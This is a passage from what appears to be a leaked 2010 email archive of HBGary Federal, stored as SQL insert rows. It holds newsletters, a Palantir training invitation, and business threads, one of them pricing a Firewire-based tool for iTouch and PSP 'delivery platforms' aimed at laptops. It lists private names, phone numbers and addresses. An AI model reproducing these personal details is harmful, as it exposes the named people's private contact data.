which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n              \r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              Have you Signed Up for your table for \r\n              2009-2010\r\n            With \r\n              great speakers and an average attendance of 400+, AFCEA NOVA Monthly \r\n              Luncheons are hands-down the best networking event in town for the \r\n              defense, intel &amp; homeland security communities!\r\n            Learn \r\n              about the benefits of being a Corp Table Holder &amp; Sign Up Online \r\n              Today!\r\n              \r\n              \r\n      \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST \r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n              LGS Innovations\r\n            \r\n               \r\n            \r\n          MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n              \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  Feb \r\n                    Monthly Luncheon w/ Beth McGrath Asst Dep Chief Management \r\n                    Officer, DoD\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Feb 26 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Mar \r\n                    2010 Monthly Luncheon w/ GEN George Casey, Army Chief of Staff\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Mar 19 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Naval \r\n                    IT Day,\r\n                    9th Annual\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 15 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Apr \r\n                    2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 23 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Annual \r\n                    Golf Tournament\r\n                  Old \r\n                    Hickory Golf Club, Woodbridge\r\n                    Apr 29 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n              \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',6965,'aaron_hbgary_com/6965.html'),(2856,'2010-02-19','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001303.M635644P3547Q2856.eml','msteckman@palantirtech.com','Palantir Analyst Training','Greetings!\r\n\r\nOn behalf of Palantir, I would like to formally invite you to the latest iteration of the One Day Analyst Training which will be held at our offices in Mclean, VA on 2/23/2010 9:00 AM. I’m truly looking forward to meeting all of you (provided I don’t know you already) and sharing my knowledge of the most powerful and dynamic analysis platform available to the US intelligence community.   \r\n\r\nLocation:\r\n\r\n1660 International Dr. \r\nSuite 800\r\nMclean Va, 22102\r\n\r\n(For those of you familiar with the Tysons Corner, VA area, we’re near the Galleria)\r\n\r\nAttached is a PDF with directions and contact information.  In addition, you can view a map here: http://www.palantirtech.com/contact/locations.\r\n\r\nClass Time:\r\n\r\nThe session will begin promptly, and it will go the whole day…with breakfast, breaks, lunch, video games, foosball, an assortment of regular and adult beverages provided. Please keep in mind, that the traffic conditions around the Tyson’s Corner of Mclean can be quite intense so budget your drive time accordingly.\r\n\r\nWhile we recognize that many of you are local, for those of you that aren’t, here is some information regarding travel and accommodations.\r\n\r\nParking:\r\n\r\nIt is best to Park in front of the building where there are generally open spaces for guests. If you cannot find an open space, please feel free to call our receptionist for help at 808-271-3824\r\n\r\nAgain, I’m looking forward to meeting you soon.  Please let me know if you have any questions, and don’t hesitate to call me at the number listed below.\r\n\r\nCheers,\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270',8679,'aaron_hbgary_com/8679.html'),(2857,'2010-02-19','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001308.M790137P3547Q2857.eml','msteckman@palantirtech.com','Palantir Analyst Training','Greetings!\r\n\r\nOn behalf of Palantir, I would like to formally invite you to the latest iteration of the One Day Analyst Training which will be held at our offices in Mclean, VA on 2/23/2010 9:00 AM. I’m truly looking forward to meeting all of you (provided I don’t know you already) and sharing my knowledge of the most powerful and dynamic analysis platform available to the US intelligence community.   \r\n\r\nLocation:\r\n\r\n1660 International Dr. \r\nSuite 800\r\nMclean Va, 22102\r\n\r\n(For those of you familiar with the Tysons Corner, VA area, we’re near the Galleria)\r\n\r\nAttached is a PDF with directions and contact information.  In addition, you can view a map here: http://www.palantirtech.com/contact/locations.\r\n\r\nClass Time:\r\n\r\nThe session will begin promptly, and it will go the whole day…with breakfast, breaks, lunch, video games, foosball, an assortment of regular and adult beverages provided. Please keep in mind, that the traffic conditions around the Tyson’s Corner of Mclean can be quite intense so budget your drive time accordingly.\r\n\r\nWhile we recognize that many of you are local, for those of you that aren’t, here is some information regarding travel and accommodations.\r\n\r\nParking:\r\n\r\nIt is best to Park in front of the building where there are generally open spaces for guests. If you cannot find an open space, please feel free to call our receptionist for help at 808-271-3824\r\n\r\nAgain, I’m looking forward to meeting you soon.  Please let me know if you have any questions, and don’t hesitate to call me at the number listed below.\r\n\r\nCheers,\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270',12572,'aaron_hbgary_com/12572.html'),(2858,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001309.M264461P3547Q2859.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: No Hard Feelings','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: February 19, 2010 2:20:18 PM ESTTo: &quot;daniel.lindorf@ngc.com&quot; &lt;daniel.lindorf@ngc.com&gt;Subject: No Hard Feelings\r\nHi Dan,I want to reach out and just let you know while I dont agree with youractions no hard feelings.  These events have certainly worked out for\r\nthe best for me.  Ironically I am partnering with Northrop on a fewpursuits.Good luck,Aaron BarrCEOHBGary Federal\r\n From my iPhone\r\n',6781,'aaron_hbgary_com/6781.html'),(2859,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001309.M27808P3547Q2858.eml','daniel.lindorf@ngc.com','No Hard Feelings','Hi Dan,\r\n\r\nI want to reach out and just let you know while I dont agree with your\r\nactions no hard feelings.  These events have certainly worked out for\r\nthe best for me.  Ironically I am partnering with Northrop on a few\r\npursuits.\r\n\r\nGood luck,\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n\r\n From my iPhone\r\n',8543,'aaron_hbgary_com/8543.html'),(2860,'2010-02-19','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001309.M495779P3547Q2860.eml','greg@hbgary.com,penny@hbgary.com,aaron@hbgary.com','Brian Krebs Story on NetWitness Breach Discovery','\r\nAs you probably saw, the Wall Street Journal broke a news story about a security breach uncovered by NetWitness. It got picked up by a lot of press. Today, Brian Krebs, the well-respected former Washington Post reporter, wrote a piece criticizing the mainstream press coverage of the discovery since it was&nbsp; not \"new\".\r\n&nbsp;\r\nHere\'s the piece http://www.krebsonsecurity.com/2010/02/zeus-a-virus-known-as-botnet/\r\n&nbsp;\r\nWhile he primarily criticizes mainstream press for not&nbsp;doing more investigation and putting more context around the breach,&nbsp;I also see it as&nbsp; a cautionary tale&nbsp;for security vendors -- be careful that you don\'t overhype a breach to the press. NetWitness is getting some backlash today about it on Twitter. Karen\r\n\r\n',4914,'aaron_hbgary_com/4914.html'),(2861,'2010-02-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001309.M693552P3547Q2861.eml','\"Barr Aaron\" <aaron@hbgary.com>','dupont','Anything new on the dupont front? Did they sign the contract?\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3103,'aaron_hbgary_com/3103.html'),(2862,'2010-02-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001311.M432109P3547Q2862.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: draft report','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Feb 19, 2010 at 3:09 PM\r\nSubject: draft report\r\nTo: Scott Pease \r\n\r\n\r\nAttached is the draft status report for Bill.  Scott, do you know how\r\nmuch Martin and Clearhat will each need (in terms of hours) to\r\ncomplete the current tasking (including cleaning up the limitations\r\ndescribed in their update)?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15054,'aaron_hbgary_com/15054.html'),(2863,'2010-02-19','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297001311.M688802P3547Q2863.eml','\"Aaron Barr\" <aaron@hbgary.com>','Hi Aaron, can you send me your contact information or give Al a call, cell: (703) 615-4176','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nIrene Harris \r\nExecutive\r\nAssistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice:\r\n703-633-8473 \r\nBB:\r\n703-201-7718\r\n\r\nFax:\r\n703-449-3999\r\n\r\nirene.harris@ngc.com \r\n----------------------------------- \r\n\r\n4807\r\nStonecroft Boulevard\r\n\r\nChantilly,\r\nVA 20151\r\n\r\n\r\n&nbsp;\r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12622,'aaron_hbgary_com/12622.html'),(2864,'2010-02-19','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297001312.M11884P3547Q2864.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Hi Aaron, can you send me your contact information or give Al a call, cell: (703) 615-4176','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, got your information.&nbsp; Will\r\ncall you.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harris, Irene G\r\n(TASC Inc) \r\nSent: Friday, February 19, 2010 5:43 PM\r\nTo: \'Aaron Barr\'\r\nSubject: Hi Aaron, can you send me your contact information or give Al a\r\ncall, cell: (703) 615-4176\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nIrene Harris \r\nExecutive\r\nAssistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice:\r\n703-633-8473 \r\nBB:\r\n703-201-7718\r\n\r\nFax:\r\n703-449-3999\r\n\r\nirene.harris@ngc.com \r\n----------------------------------- \r\n\r\n4807\r\nStonecroft Boulevard\r\n\r\nChantilly,\r\nVA 20151\r\n\r\n\r\n&nbsp;\r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2679,'aaron_hbgary_com/2679.html'),(2865,'2010-02-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001314.M633057P3547Q2865.eml','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,,,,','Re: more Task B work','Greetings Bill,\r\n\r\nAttached is the Project B Status report, as requested.  We forecast an\r\n~$80K estimate-at-complete for our currently assigned tasks, which is\r\nsignificantly less than originally anticipated.  We will honor the\r\npreviously provided quote for the iTouch feasibility effort and have\r\nsufficient funding on contract to complete that task, as well as a\r\nsignificant portion of the iTouch development, if it proves feasible.\r\n\r\nBelow is my contact information, please let me know if you have any questions.\r\n\r\nRegards,\r\nTed Vera\r\n\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\nEmail:  ted@hbgary.com\r\n\r\n\r\n\r\nOn Thu, Feb 18, 2010 at 2:42 PM, Thompson, Bill M.\r\n wrote:\r\n> Hi Ted,\r\n>\r\n> We met here in Santa Clara, CA in the NES lab with Ben Wilson when you and\r\n> Aaron (spelling?) came to visit a couple months ago about HB Federal.\r\n>\r\n> Penny informed me a month or so ago that you are the lead for Task B now\r\n> replacing Scott.  I just got off the phone with Martin about future work for\r\n> Task B and I would like to know formally from you if you can provide an\r\n> updated cost estimate to incorporate the latest Firewire implementation into\r\n> an iTouch device or if the below quote is still valid. (The last quote is\r\n> provided for your reference below)\r\n>\r\n> I would also like to know the status of how Task B is coming along and if\r\n> there will be budget left over to characterized the feasibility of\r\n> incorporating into the iTouch device in this current budget. (i.e. can you\r\n> shoehorn in the first line item “iTouch Feasibility Study”).  If not, I\r\n> would suggest that you guys reprioritize to make this happen and then just\r\n> tack on the additional amount needed to finish the current scope of Task B\r\n> (Firewire O/S compatibility work) into the additional funds we anticipate\r\n> sending your way next month.  Of course, John Spiller our PM needs to\r\n> formally make that reprioritization call if you decide you don’t have the\r\n> funds available, but that is my recommendation.   If migrating to an iTouch\r\n> is feasible, which it sounds like is a good possibility, then we anticipate\r\n> moving forward with this migration in the next phase of Task B.\r\n>\r\n> Please let me know at your earliest convenience as this directly impacts our\r\n> ability to obtain more funding from a diminishing source.\r\n>\r\n> Regards,\r\n>\r\n> Bill\r\n>\r\n> Sent 11/12/2009 from Scott\r\n>\r\n> Bill,\r\n>\r\n> We recommend the following operating systems for 32bit development:\r\n>\r\n> Windows 2000 Professional SP4   $14,133.12\r\n>\r\n> Windows Vista SP0       $14,133.12\r\n>\r\n> Windows Vista SP1, SP2  $23,555.20\r\n>\r\n> Total   $51,821.44\r\n>\r\n> We recommend the following operating systems for 64bit development:\r\n>\r\n> Initial 64 bit research $47,110.40\r\n>\r\n> Windows Vista SP0       $14,133.12\r\n>\r\n> Windows Vista SP1, SP2  $14,133.12\r\n>\r\n> Windows 7       $23,555.20\r\n>\r\n> Total   $98,931.84\r\n>\r\n> The PSP and iPod/iTouch delivery platforms each require an initial\r\n> feasibility study.\r\n>\r\n> iPod/iTouch Feasibility study   $23,555.20\r\n>\r\n> iPod/iTouch development $94,220.80\r\n>\r\n> Total   $117,776.00\r\n>\r\n>\r\n>\r\n> PSP Feasibility study   $23,555.20\r\n>\r\n> PSP development $94,220.80\r\n>\r\n> Total   $117,776.00\r\n>\r\n> We do not recommend development for the true server OS versions as they are\r\n> not likely to be found on a laptop:\r\n>\r\n> Windows 2000 Server\r\n>\r\n> Windows 2003 Server\r\n>\r\n> Windows 2008 Server\r\n>\r\n> Let me know if you have questions.\r\n>\r\n> Best regards,\r\n>\r\n> Scott\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12602,'aaron_hbgary_com/12602.html'),(2866,'2010-02-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001329.M649928P3547Q2866.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: RSA Talk -- Operation Aurora?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is both of Greg&#8217;s talks.&nbsp; I&#8217;ll get his final ISSA one to\r\nyou as well\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, February 12, 2010 8:11 PM\r\nTo: Karen Burke\r\nCc: penny@hbgary.com\r\nSubject: Re: RSA Talk -- Operation Aurora?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nKaren,\r\n\r\n\r\n\r\n\r\n\r\nAttached are two in-progress talks.&nbsp; I am busting my\r\nbutt to get these complete this weekend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Persistent Threats - ISSA this friday, this one if\r\nfurther along and I can cut and paste from this for RSA\r\n\r\n\r\n\r\n\r\n\r\nAnalyzing Malware Behavior - this is RSA talk, not as\r\ndeveloped yet, planning to rob some from ISSA slides and add some more\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWill take direction on either, although RSA talk is what\r\nmatters most\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Feb 12, 2010 at 2:36 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n \r\n  \r\n  Hi Greg,&nbsp;I wanted to see if you will\r\n  be&nbsp;mentioning the HBGary Operation Aurora report in&nbsp;your RSA&nbsp;\r\n  talk, Analyzing Malware Behavior. If not, that\'s fine -- if so, I want to be\r\n  sure to highlight when I do outreach to press. Thanks, Karen&nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5500,'aaron_hbgary_com/5500.html'),(2867,'2010-02-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001330.M760072P3547Q2867.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','A nice tech article HOW-TO build maps of social networks','Check this out:\r\n \r\nhttp://www.ibm.com/developerworks/opensource/library/os-socialtools/\r\n \r\nYou can use something like this to map out social network spaces.  Should be useful when we want to work out potential networks of bad guys.\r\n \r\n-Greg\r\n',16477,'aaron_hbgary_com/16477.html'),(2868,'2010-02-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001330.M956963P3547Q2868.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Wrap up.','ISSA briefing went extremely well!\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Penny Leavy-Hoglund \r\nDate: Fri, Feb 19, 2010 at 5:09 PM\r\nSubject: RE: Wrap up.\r\nTo: Kevin Spease , Greg Hoglund\r\n, \"Spease, Angela\" \r\nCc: Ted Vera , Jim Richards \r\n\r\n\r\nThanks for the opportunity, it’s always great to meet people from the\r\nlocal market.  Jim Richards, heads up our training department so I’m\r\ncopying him on this email.  He can help coordinate the tech Tuesday as\r\nwell as perhaps possible locations.  We are happy to do this multiple\r\ntime because the software has multiple uses.  Responder Field Edition,\r\nwhich was given away today is more forensic focused, Responder Pro is\r\nmore malware focused and we also have a product called Digital DNA\r\n(and no it’s not included in Responder like greg says it is) that does\r\nmalware detection then there is Recon which is included in Pro and is\r\na sandboxing technology that  automatically analyzes malware so there\r\nis LOTS to show.\r\n\r\n\r\n\r\nWe’d be more than happy to offer discounted training or do lunch ,\r\ndinner whatever makes sense.\r\n\r\n\r\n\r\nThanks for your support.  I guess ultimately we need to thank Ted, THANKS TEDJ\r\n\r\n\r\n\r\nFrom: Kevin Spease [mailto:kevin.spease@gmail.com]\r\nSent: Friday, February 19, 2010 4:05 PM\r\nTo: Greg Hoglund; Penny Leavy-Hoglund; Spease, Angela\r\nSubject: Wrap up.\r\n\r\n\r\n\r\nGreg and Penny,\r\n\r\nAgain... Thanks.  I probably seemed like an over-excited toddler, but\r\nthis event was really a homerun and I was.. maybe too happy!\r\n\r\nYou made one of the two contacts I wanted you to make... Michele\r\nRobinson.  As I said, she works on the State CISO\'s staff with Mark\r\nWeatherford.  She\'s a good person to know.\r\n\r\nThe other person I wanted you to meet was Nancy Wilson (but she had to\r\nrush back to work).  She is the InfoSec Manager here at Health Net\r\n(I\'m in the dev food chain, she\'s the InfoSec chain).  She would be a\r\ngood person to meet.  One way to do so would be to maybe offer a\r\ndiscounted malware course for one of her peeps.  Or, if you want,\r\nmaybe I could drag her out to lunch one day.\r\n\r\nI\'ll let you know about Tech Tuesday and when our next opening is.  I\r\nknow we\'d get capacity attendance for that.  Good hands-on topics are\r\nsometimes hard to come by.\r\n\r\nDavid said it will take a week or so to get the edits done on the\r\nvideo.  He thinks the lighting was good and the audio should work\r\nwell, also.\r\n\r\nLastly... Maybe if you two have a boring evening in the future, we can\r\ngo out and have dinner or something.  I promise I won\'t act like a\r\nspaz like I did today!\r\n\r\nThanks!\r\nKevin\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4038,'aaron_hbgary_com/4038.html'),(2869,'2010-02-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001337.M451199P3547Q2869.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Wrap up. (SLIDES ATTACHED)','---------- Forwarded message ----------\r\nFrom: Greg Hoglund \r\nDate: Fri, Feb 19, 2010 at 5:29 PM\r\nSubject: Re: Wrap up. (SLIDES ATTACHED)\r\nTo: Penny Leavy-Hoglund \r\nCc: Kevin Spease , \"Spease, Angela\"\r\n, Ted Vera , Jim Richards\r\n\r\n\r\n\r\n\r\nKevin,\r\n\r\nI know that some attendees will request a copy of the slides.  Here is\r\na PDF of the presentation I gave this morning.\r\n\r\nThanks so much for having me!\r\n\r\n-Greg\r\n\r\nOn Fri, Feb 19, 2010 at 4:09 PM, Penny Leavy-Hoglund  wrote:\r\n>\r\n> Thanks for the opportunity, it’s always great to meet people from the local market.  Jim Richards, heads up our training department so I’m copying him on this email.  He can help coordinate the tech Tuesday as well as perhaps possible locations.  We are happy to do this multiple time because the software has multiple uses.  Responder Field Edition, which was given away today is more forensic focused, Responder Pro is more malware focused and we also have a product called Digital DNA (and no it’s not included in Responder like greg says it is) that does malware detection then there is Recon which is included in Pro and is a sandboxing technology that  automatically analyzes malware so there is LOTS to show.\r\n>\r\n>\r\n>\r\n> We’d be more than happy to offer discounted training or do lunch , dinner whatever makes sense.\r\n>\r\n>\r\n>\r\n> Thanks for your support.  I guess ultimately we need to thank Ted, THANKS TEDJ\r\n>\r\n>\r\n>\r\n> From: Kevin Spease [mailto:kevin.spease@gmail.com]\r\n> Sent: Friday, February 19, 2010 4:05 PM\r\n> To: Greg Hoglund; Penny Leavy-Hoglund; Spease, Angela\r\n> Subject: Wrap up.\r\n>\r\n>\r\n>\r\n> Greg and Penny,\r\n>\r\n> Again... Thanks.  I probably seemed like an over-excited toddler, but this event was really a homerun and I was.. maybe too happy!\r\n>\r\n> You made one of the two contacts I wanted you to make... Michele Robinson.  As I said, she works on the State CISO\'s staff with Mark Weatherford.  She\'s a good person to know.\r\n>\r\n> The other person I wanted you to meet was Nancy Wilson (but she had to rush back to work).  She is the InfoSec Manager here at Health Net (I\'m in the dev food chain, she\'s the InfoSec chain).  She would be a good person to meet.  One way to do so would be to maybe offer a discounted malware course for one of her peeps.  Or, if you want, maybe I could drag her out to lunch one day.\r\n>\r\n> I\'ll let you know about Tech Tuesday and when our next opening is.  I know we\'d get capacity attendance for that.  Good hands-on topics are sometimes hard to come by.\r\n>\r\n> David said it will take a week or so to get the edits done on the video.  He thinks the lighting was good and the audio should work well, also.\r\n>\r\n> Lastly... Maybe if you two have a boring evening in the future, we can go out and have dinner or something.  I promise I won\'t act like a spaz like I did today!\r\n>\r\n> Thanks!\r\n> Kevin\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14909,'aaron_hbgary_com/14909.html'),(2870,'2010-02-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001357.M581321P3547Q2870.eml','\"Aaron Barr\" <aaron@hbgary.com>','Aaron, here are the raw slides of the ISSA talk',' \r\nThe PPT is attached.  Feel free to rob and steal to your hearts content.\r\n \r\n-Greg\r\n',1607,'aaron_hbgary_com/1607.html'),(2871,'2010-02-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001368.M868469P3547Q2871.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: ISSA Talk, Slides FINAL DRAFT for Review','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Wednesday, February 17, 2010 1:10 PM\r\nTo: Karen Burke; Penny C. Hoglund; Rich Cummings; martin@hbgary.com\r\nSubject: ISSA Talk, Slides 